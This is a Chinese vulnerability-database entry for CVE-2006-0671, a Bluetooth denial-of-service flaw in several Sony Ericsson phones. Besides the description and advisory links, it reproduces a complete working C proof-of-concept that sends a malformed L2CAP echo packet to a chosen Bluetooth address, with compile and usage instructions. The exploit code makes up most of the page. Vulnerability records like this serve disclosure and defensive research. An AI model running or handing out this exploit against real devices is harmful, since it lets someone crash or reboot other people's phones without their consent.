Sony Ericsson多个电话远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109704 漏洞类型 缓冲区溢出
发布时间 2006-02-06 更新时间 2006-02-14
CVE编号 CVE-2006-0671 CNNVD-ID CNNVD-200602-154
漏洞平台 Hardware CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/1473
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-154
|漏洞详情
SonyEricssonK600i、V600i、W800i和T68i移动电话中存在缓冲区溢出。远程攻击者可以借助畸形的逻辑链路控制及适配协议(L2CAP)数据包(长度字段比数据包的实际长度短)通过无线蓝牙连接造成拒绝服务(重新启动或关机)。
|漏洞EXP
/* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - pierre.betouin@infratech.fr */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)

int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;

if(argc < 2)
{
fprintf(stderr, "%s <btaddr>\n", argv[0]);
exit(EXIT_FAILURE);
}

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}

memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind");
exit(EXIT_FAILURE);
}

str2ba(argv[1], &addr.l2_bdaddr);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}

if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc");
exit(EXIT_FAILURE);
}

memset(buffer, 90, SIZE);

cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;

if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)\n", sent);
}

printf("Buffer:\t");
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("\n");

free(buffer);
close(sock);
return EXIT_SUCCESS;
}

// milw0rm.com [2006-02-06]
|参考资料

来源:XF
名称:sony-bluetooth-dos(24534)
链接:http://xforce.iss.net/xforce/xfdb/24534
来源:MISC
链接:http://www.secuobs.com/news/05022006-bluetooth7.shtml#english
来源:VUPEN
名称:ADV-2006-0478
链接:http://www.frsirt.com/english/advisories/2006/0478
来源:SECUNIA
名称:18747
链接:http://secunia.com/advisories/18747
来源:FULLDISC
名称:20060206[Full-disclosure][Secuobs-Advisory]Bluetooth:DoSon
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=113924661724270&w=2
来源:BUGTRAQ
名称:20060206[Secuobs-Advisory]Bluetooth:DoSonSony/Ericssoncellphones
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=113926179907655&w=2
来源:BID
名称:16512
链接:http://www.securityfocus.com/bid/16512